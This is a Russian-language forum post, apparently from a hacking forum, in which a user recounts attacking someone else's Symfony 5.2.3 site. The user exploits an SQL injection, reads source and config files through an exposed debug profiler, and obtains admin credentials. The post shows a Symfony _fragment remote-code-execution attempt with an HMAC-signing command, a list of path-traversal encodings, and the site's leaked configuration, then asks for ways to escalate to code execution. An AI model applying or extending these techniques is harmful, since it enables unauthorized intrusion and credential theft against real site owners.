• XSS.stack #1 – первый литературный журнал от юзеров форума

Подскажите по Symfony 5.2.3

petrinh1988

X-pert
Эксперт
Регистрация
27.02.2024
Сообщения
243
Реакции
493
Всем привет!
Признаюсь честно, два дня пытался создать эту тему. Каждый раз, пока задавал вопрос, понимал направление в котором двигаться и шел допроверять данные, чтобы попытаться уточнить вопросы. Понимаю, что подобным способом, может быть, когда-то докопаюсь до цели. Но факт... и чем дальше копаю, тем больше тем для разбора... боюсь не вывезу))) Причем, огромная часть будет совершенно не нужна и просто съест время. Ну и мжет быть... кому-то из таких же новичков тема может быть крайне полезна и нужна как воздух. В общем, прошу не ругаться, а подсказать.

Акуникс подкинул сайт с sqli. Натравил на него мап и пошел осматриваться. В процессе исследования сайта, наткнулся на папку /_profiler/, оказалось, что это профайлер Symfony. точнее версии 5.2.3. Оказалось, что через него можно много чего увидеть. От полных данных по запросам, до PHPINFO и параметров сервера.
1714418169590.png

Сейчас у меня есть адрес админки сайта, есть в открытом виде логин и пароль Совсем свежие запросы, в которых указаны все или почти все данные. Но не хватает знаний, чтобы раскрутить уязвимость до чего-то серьезного. Зайти в админку не дает - 403 Forbidden. Вероятнее всего, ограничение по IP.

Через читалку файлов .../_profiler/open?file=... , нашел много чего интересного. В том чилсе, вот такой кусок кода, который и намекает на возможный белый список IP:

PHP:
ini_set('upload_max_filesize', '20M');
use App\Kernel;
use Symfony\Component\Dotenv\Dotenv;
use Symfony\Component\ErrorHandler\Debug;
use Symfony\Component\HttpFoundation\Request;
require dirname(__DIR__).'/vendor/autoload.php';
(new Dotenv())->bootEnv(dirname(__DIR__).'/.env');
if ($_SERVER['APP_DEBUG']) {
    umask(0000);
    Debug::enable();
}
if ($trustedProxies = $_SERVER['TRUSTED_PROXIES'] ?? false) {
    Request::setTrustedProxies(explode(',', $trustedProxies), Request::HEADER_X_FORWARDED_ALL ^ Request::HEADER_X_FORWARDED_HOST);
}
if ($trustedHosts = $_SERVER['TRUSTED_HOSTS'] ?? false) {
    Request::setTrustedHosts([$trustedHosts]);
}
$kernel = new Kernel($_SERVER['APP_ENV'], (bool) $_SERVER['APP_DEBUG']);
$request = Request::createFromGlobals();
$response = $kernel->handle($request);
$response->send();
$kernel->terminate($request, $response);

Пробовал подставить значения x-forwarded-for и x-real-ip, так как эти заголовки есть в успешных запросах к сайту — результат никакой. 127.0.0.1 и localhost тоже не дали результата. В целом, пытался запросы полностью копировать, но похоже айпи прописываются в какой-то .env, к которому нет доступа. К слову, читать файлы начинающиеся с точки не дает. Проверяет регуляркой
PHP:
preg_match('(^|[/\\\\])\.', $file) //файл потерял, но регулярку саму помню
Может кто сталкивался с ограничением, есть какие-то варианты его обойти? Хотя бы понять, что именно ограничивает и по какой причине. IP, с которого заходил админ, проверил - принадлежит Zomro. Похоже VDS. Вполне мжет быть, что там поднят VPN или RDP. Сканирую на предмет уязвимостей. Пока это фантазийный вариант, но вдруг?

Возможно есть какие-то еще варианты?
Пробовал уязвимость с /_fragment. За основу использовал эту статью Secret fragments: Remote code execution on Symfony based websites. Не прокатило. Нашел путь к папке _fragment, сделал все по инструкции наподобие:
Bash:
$ page="http://site.com/admin/_fragment?_path=_controller%3Dsystem%26command%3Did%26return_value%3Dnull"
$ python -c "import base64, hmac, hashlib; print(base64.b64encode(hmac.HMAC(b'secrtet_key_from_profiler', b'$page', hashlib.sha256).digest()))"
И снова уперся в 403. Скорее всего, по той же причине - trusted_proxies & trusted_hosts.
Пробовал фрагмент без админки, в ответ 404. С хэшем, без хэша. Есть вероятность, что при генерации хэша ожидается какой-то другой домен... но в доступной мне истории реквестов домены совпадают (да, доменЫ, т.к. там целая россыпь сайтов на нескольких серверах и все одинаковые). Пробовал все известные мне домены использовать для хеширвоания, с http и https. Результат одинаковый - без админки в пути выдает 404, с админкой 403.
Но опять же, в файле framework.yaml, строчка с фрагментом закомментирована: #fragments: true

Натыкался, что можно прочитать файл /app/config/parameters.php. Не смог найти. В моем случае папки app, судя по всему, нет. Есть папки: config, var, src, vendor, public. В их корне и в подпапке config нет файла parameters.php. Либо он недоступен для чтения. Пробовал вместо php подставить yml и yaml, так же ничего не открылось. Эти два расширеняи использовал по причине того, что нашел целый ряд файлов yml и yaml. В них, казалось бы, полезные данные, но они особо ничего мне не дали. Например, дающий надежду docker-compose.yml:
Bash:
version: '3'
services:
  database:
    image: postgres:11-alpine
    environment:
      POSTGRES_USER: main
      POSTGRES_PASSWORD: main
      POSTGRES_DB: main
    ports: [5432]
networks:
  default:
    external:
      name: my-pre-existing-network
Вижу, что второй базой стоит PostgreSQL. Второй потому как на сайт вышел через SQLi найденную окунем. Из базы данные прекрасно вытаскиваются и sqlmap зуб дает, что там MySQL. Плюс, в логах реквестов в настройках сервера указана именно mysql. Хотя сейчас появилась мысль попробовать инжектить Что-то из серии "; UPDATE... #" и посмотреть, будут ли изменения в базе данных. Вдруг SQLMAP ошибаетяс и там реально psql, а он поддерживает последовательное выполнение команд в связке с PHP, в отличии от MySQL.

В целом, удалось прочитать: services.yaml, framework.yaml, composer.json, composer.phar, routes.yaml, security.yaml, а так же любой php файл в рамках доступных папок (src, vendor, public, var, config). Но значимых подсказок не нашел. Либо в упор их не вижу.

Пытался обойти ограничения читалки .../_profiler/open?file=..., на возможность выхода в дирректорию уровнем выше (../) и чтение файлов по типу .htaccess или .env.. Не получилось, пробовал всеми перечисленными на OWASP способами.
Bash:
%2e%2e%2f        #../
%2e%2e/             #../
..%2f             #../
%2e%2e%5c         #..\
%2e%2e\             #..\
..%5c             #..\
%252e%252e%255c     #..\
..%255c             #..\
..%c0%af/         #../
..%c1%9c         #..\

Вот, кстати, конфигурационные файлы, до которых добрался:
Bash:
# This file is the entry point to configure your own services.
# Files in the packages/ subdirectory configure your dependencies.
# Put parameters here that don't need to change on each machine where the app is deployed
# https://symfony.com/doc/current/best_practices/configuration.html#application-related-configuration
parameters:
    uploads_directory: '%kernel.project_dir%/public/uploads'
    import_dir: '%kernel.project_dir%/public/uploads/import'
    users_public: '%kernel.project_dir%/public/uploads/users'
    users_directory: '%kernel.project_dir%/public/uploads/users'
    app.table_prefix: admin_
services:
    # default configuration for services in *this* file
    _defaults:
        autowire: true      # Automatically injects dependencies in your services.
        autoconfigure: true # Automatically registers your services as commands, event subscribers, etc.
        public: true
    # makes classes in src/ available to be used as services
    # this creates a service per class whose id is the fully-qualified class name
    App\:
        resource: '../src/'
        exclude:
            - '../src/DependencyInjection/'
            - '../src/Entity/'
            - '../src/Kernel.php'
            - '../src/Tests/'
    # controllers are imported separately to make sure services can be injected
    # as action arguments even if you don't extend any base controller class
    App\Controller\:
        resource: '../src/Controller/'
        tags: ['controller.service_arguments']
    # add more service definitions when explicit configuration is needed
    # please note that last definitions always *replace* previous ones
    App\Service\FileUploader:
        arguments:
            $targetDirectory: '%users_directory%'
    App\Service\UserService:
        arguments:
            $container: '@service_container'
    App\EventSubscriber\TablePrefixSubscriber:
        arguments: [ '%app.table_prefix%' ]
        tags:
            - { name: doctrine.event_subscriber }
    app.cat_namer:
        class: App\Service\ImageUploadNamer
Bash:
# see https://symfony.com/doc/current/reference/configuration/framework.html
framework:
    secret: '%env(APP_SECRET)%'
    #csrf_protection: true
    #http_method_override: true
    # Enables session support. Note that the session will ONLY be started if you read or write from it.
    # Remove or comment this section to explicitly disable session support.
    session:
        handler_id: null
        cookie_secure: auto
        cookie_samesite: lax
    #esi: true
    #fragments: true
    php_errors:
        log: true
JSON:
{
    "type": "project",
    "license": "proprietary",
    "require": {
        "php": ">=7.4",
        "ext-ctype": "*",
        "ext-iconv": "*",
        "composer/package-versions-deprecated": "^1.11",
        "doctrine/doctrine-bundle": "^2.1",
        "doctrine/doctrine-migrations-bundle": "^3.0",
        "doctrine/orm": "^2.7",
        "knplabs/knp-paginator-bundle": "^5.4",
        "oneup/uploader-bundle": "^3.0",
        "phpoffice/phpspreadsheet": "^1.14",
        "sensio/framework-extra-bundle": "^5.6",
        "symfony/asset": "5.*",
        "symfony/console": "5.*",
        "symfony/css-selector": "5.*",
        "symfony/dom-crawler": "5.*",
        "symfony/dotenv": "5.*",
        "symfony/flex": "^1.3.1",
        "symfony/form": "5.*",
        "symfony/framework-bundle": "5.*",
        "symfony/mime": "5.*",
        "symfony/monolog-bundle": "^3.6",
        "symfony/security-bundle": "5.*",
        "symfony/serializer": "5.*",
        "symfony/twig-bundle": "^5",
        "symfony/validator": "5.*",
        "symfony/yaml": "5.*",
        "twig/extra-bundle": "^2.12|^3.0",
        "twig/twig": "^2.12|^3.0",
        "ext-memcached": "*"
    },
    "require-dev": {
        "doctrine/doctrine-fixtures-bundle": "^3.3",
        "symfony/debug-bundle": "^5",
        "symfony/maker-bundle": "^1.21",
        "symfony/stopwatch": "^5",
        "symfony/var-dumper": "^5",
        "symfony/web-profiler-bundle": "^5"
    },
    "config": {
        "optimize-autoloader": true,
        "preferred-install": {
            "*": "dist"
        },
        "sort-packages": true
    },
    "autoload": {
        "psr-4": {
            "App\\": "src/"
        }
    },
    "autoload-dev": {
        "psr-4": {
            "App\\Tests\\": "tests/"
        }
    },
    "replace": {
        "paragonie/random_compat": "2.*",
        "symfony/polyfill-ctype": "*",
        "symfony/polyfill-iconv": "*",
        "symfony/polyfill-php72": "*",
        "symfony/polyfill-php71": "*",
        "symfony/polyfill-php70": "*",
        "symfony/polyfill-php56": "*"
    },
    "scripts": {
        "auto-scripts": {
            "cache:clear": "symfony-cmd",
            "assets:install %PUBLIC_DIR%": "symfony-cmd"
        },
        "post-install-cmd": [
            "@auto-scripts"
        ],
        "post-update-cmd": [
            "@auto-scripts"
        ]
    },
    "conflict": {
        "symfony/symfony": "*"
    },
    "extra": {
        "symfony": {
            "allow-contrib": false,
            "require": "5.*"
        }
    }
}
Bash:
#index:
#    path: /
#    controller: App\Controller\DefaultController::index
oneup_uploader:
  resource: .
  type: uploader
Bash:
security:
    encoders:
        App\Entity\Admin:
            algorithm: auto
    # https://symfony.com/doc/current/security.html#where-do-users-come-from-user-providers
    providers:
        # used to reload user from session & other features (e.g. switch_user)
        app_user_provider:
            entity:
                class: App\Entity\Admin
                property: email
    firewalls:
        dev:
            pattern: ^/(_(profiler|wdt)|css|images|js)/
            security: false
        main:
            anonymous: true
            lazy: true
            provider: app_user_provider
            guard:
                authenticators:
                    - App\Security\AppAuthenticator
            logout:
                path: app_logout
                # where to redirect after logout
                target: adminhome
            # ...
            remember_me:
                secret:   '%kernel.secret%'
                lifetime: 604800 # 1 week in seconds
                path:     /admin_
                # by default, the feature is enabled by checking a
                # checkbox in the login form (see below), uncomment the
                # following line to always enable it.
                #always_remember_me: true
            # activate different ways to authenticate
            # https://symfony.com/doc/current/security.html#firewalls-authentication
            # https://symfony.com/doc/current/security/impersonating_user.html
            # switch_user: true
    # Easy way to control access for large sections of your site
    # Note: Only the *first* access control that matches will be used
    access_control:
         - { path: ^/admin_/login, roles: [] }
         - { path: ^, roles: ROLE_ADMIN }

Есть еще такой интересный файл PHP, но он особо мне не помог, т.к. не понимаю, где взять названия packages и routes, а так же какие внутри них файлы yaml искать. Что не подставлял, все мимо.
PHP:
namespace App;
use Symfony\Bundle\FrameworkBundle\Kernel\MicroKernelTrait;
use Symfony\Component\DependencyInjection\Loader\Configurator\ContainerConfigurator;
use Symfony\Component\HttpKernel\Kernel as BaseKernel;
use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
class Kernel extends BaseKernel
{
    use MicroKernelTrait;
    protected function configureContainer(ContainerConfigurator $container): void
    {
        $container->import('../config/{packages}/*.yaml');
        $container->import('../config/{packages}/'.$this->environment.'/*.yaml');
        if (is_file(\dirname(__DIR__).'/config/services.yaml')) {
            $container->import('../config/{services}.yaml');
            $container->import('../config/{services}_'.$this->environment.'.yaml');
        } elseif (is_file($path = \dirname(__DIR__).'/config/services.php')) {
            (require $path)($container->withPath($path), $this);
        }
    }
    protected function configureRoutes(RoutingConfigurator $routes): void
    {
        $routes->import('../config/{routes}/'.$this->environment.'/*.yaml');
        $routes->import('../config/{routes}/*.yaml');
        if (is_file(\dirname(__DIR__).'/config/routes.yaml')) {
            $routes->import('../config/{routes}.yaml');
        } elseif (is_file($path = \dirname(__DIR__).'/config/routes.php')) {
            (require $path)($routes->withPath($path), $this);
        }
    }
}

Завершая писанину подытожу свои вопросы:
1. Есть ли какие-то варианты обойти 403 и попасть в админку? Хотя бы направления в которые стоит смотреть.
2. Может подскажете вектора атаки? Куда еще можно посмотреть, чтобы дожать и добраться до выполнения кода,? В идеале, конечно.
3. Какие еще поискать файлы, которые могут дать подсказки и ценную информацию? К сожалению, никак не могу заставить symfony создать проект, чтобы хотя бы познакомитьяс со структурой файлов. Возникают ошибки от symfony и composer, героически с ними борюсь, надеюсь в ближайшее время все заработает.

Заранее спасибо!
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх